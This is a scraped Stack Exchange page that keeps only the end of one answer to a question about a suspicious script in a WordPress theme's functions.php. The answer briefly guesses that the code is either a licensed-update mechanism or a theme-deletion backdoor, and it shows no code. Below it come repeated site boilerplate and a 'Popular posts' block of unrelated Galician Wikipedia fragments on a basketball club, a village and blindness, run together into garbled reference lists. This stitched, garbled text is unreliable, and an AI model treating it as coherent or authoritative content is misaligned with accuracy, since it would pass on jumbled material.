        Although, I think it is a mechanism to push theme updates only for sites with a valid license key.



        Alternatively, it is backdoor for deleting theme for any compromised key.



        It is difficult to say anything for sure without looking at the content which is downloaded.







        share|improve this answer








        New contributor




        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.









        share|improve this answer



        share|improve this answer






        New contributor




        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.









        answered 2 days ago









        GauravGaurav

        11




        11




        New contributor




        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.





        New contributor





        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.






        Gaurav is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
        Check out our Code of Conduct.



























            draft saved

            draft discarded
















































            Thanks for contributing an answer to WordPress Development Stack Exchange!


            • Please be sure to answer the question. Provide details and share your research!

            But avoid


            • Asking for help, clarification, or responding to other answers.

            • Making statements based on opinion; back them up with references or personal experience.

            To learn more, see our tips on writing great answers.




            draft saved


            draft discarded














            StackExchange.ready(
            function ()
            StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fwordpress.stackexchange.com%2fquestions%2f333380%2fis-this-a-hacking-script-in-function-php%23new-answer', 'question_page');

            );

            Post as a guest















            Required, but never shown





















































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown

































            Required, but never shown














            Required, but never shown












            Required, but never shown







            Required, but never shown







            Popular posts from this blog

            Club Baloncesto Breogán Índice Historia | Pavillón | Nome | O Breogán na cultura popular | Xogadores | Adestradores | Presidentes | Palmarés | Historial | Líderes | Notas | Véxase tamén | Menú de navegacióncbbreogan.galCadroGuía oficial da ACB 2009-10, páxina 201Guía oficial ACB 1992, páxina 183. Editorial DB.É de 6.500 espectadores sentados axeitándose á última normativa"Estudiantes Junior, entre as mellores canteiras"o orixinalHemeroteca El Mundo Deportivo, 16 setembro de 1970, páxina 12Historia do BreogánAlfredo Pérez, o último canoneiroHistoria C.B. BreogánHemeroteca de El Mundo DeportivoJimmy Wright, norteamericano do Breogán deixará Lugo por ameazas de morteResultados de Breogán en 1986-87Resultados de Breogán en 1990-91Ficha de Velimir Perasović en acb.comResultados de Breogán en 1994-95Breogán arrasa al Barça. "El Mundo Deportivo", 27 de setembro de 1999, páxina 58CB Breogán - FC BarcelonaA FEB invita a participar nunha nova Liga EuropeaCharlie Bell na prensa estatalMáximos anotadores 2005Tempada 2005-06 : Tódolos Xogadores da Xornada""Non quero pensar nunha man negra, mais pregúntome que está a pasar""o orixinalRaúl López, orgulloso dos xogadores, presume da boa saúde económica do BreogánJulio González confirma que cesa como presidente del BreogánHomenaxe a Lisardo GómezA tempada do rexurdimento celesteEntrevista a Lisardo GómezEl COB dinamita el Pazo para forzar el quinto (69-73)Cafés Candelas, patrocinador del CB Breogán"Suso Lázare, novo presidente do Breogán"o orixinalCafés Candelas Breogán firma el mayor triunfo de la historiaEl Breogán realizará 17 homenajes por su cincuenta aniversario"O Breogán honra ao seu fundador e primeiro presidente"o orixinalMiguel Giao recibiu a homenaxe do PazoHomenaxe aos primeiros gladiadores celestesO home que nos amosa como ver o Breo co corazónTita Franco será homenaxeada polos #50anosdeBreoJulio Vila recibirá unha homenaxe in memoriam polos #50anosdeBreo"O Breogán homenaxeará aos seus aboados máis veteráns"Pechada ovación a «Capi» Sanmartín e Ricardo «Corazón de González»Homenaxe por décadas de informaciónPaco García volve ao Pazo con motivo do 50 aniversario"Resultados y clasificaciones""O Cafés Candelas Breogán, campión da Copa Princesa""O Cafés Candelas Breogán, equipo ACB"C.B. Breogán"Proxecto social"o orixinal"Centros asociados"o orixinalFicha en imdb.comMario Camus trata la recuperación del amor en 'La vieja música', su última película"Páxina web oficial""Club Baloncesto Breogán""C. B. Breogán S.A.D."eehttp://www.fegaba.com

            Vilaño, A Laracha Índice Patrimonio | Lugares e parroquias | Véxase tamén | Menú de navegación43°14′52″N 8°36′03″O / 43.24775, -8.60070

            Cegueira Índice Epidemioloxía | Deficiencia visual | Tipos de cegueira | Principais causas de cegueira | Tratamento | Técnicas de adaptación e axudas | Vida dos cegos | Primeiros auxilios | Crenzas respecto das persoas cegas | Crenzas das persoas cegas | O neno deficiente visual | Aspectos psicolóxicos da cegueira | Notas | Véxase tamén | Menú de navegación54.054.154.436928256blindnessDicionario da Real Academia GalegaPortal das Palabras"International Standards: Visual Standards — Aspects and Ranges of Vision Loss with Emphasis on Population Surveys.""Visual impairment and blindness""Presentan un plan para previr a cegueira"o orixinalACCDV Associació Catalana de Cecs i Disminuïts Visuals - PMFTrachoma"Effect of gene therapy on visual function in Leber's congenital amaurosis"1844137110.1056/NEJMoa0802268Cans guía - os mellores amigos dos cegosArquivadoEscola de cans guía para cegos en Mortágua, PortugalArquivado"Tecnología para ciegos y deficientes visuales. Recopilación de recursos gratuitos en la Red""Colorino""‘COL.diesis’, escuchar los sonidos del color""COL.diesis: Transforming Colour into Melody and Implementing the Result in a Colour Sensor Device"o orixinal"Sistema de desarrollo de sinestesia color-sonido para invidentes utilizando un protocolo de audio""Enseñanza táctil - geometría y color. Juegos didácticos para niños ciegos y videntes""Sistema Constanz"L'ocupació laboral dels cecs a l'Estat espanyol està pràcticament equiparada a la de les persones amb visió, entrevista amb Pedro ZuritaONCE (Organización Nacional de Cegos de España)Prevención da cegueiraDescrición de deficiencias visuais (Disc@pnet)Braillín, un boneco atractivo para calquera neno, con ou sen discapacidade, que permite familiarizarse co sistema de escritura e lectura brailleAxudas Técnicas36838ID00897494007150-90057129528256DOID:1432HP:0000618D001766C10.597.751.941.162C97109C0155020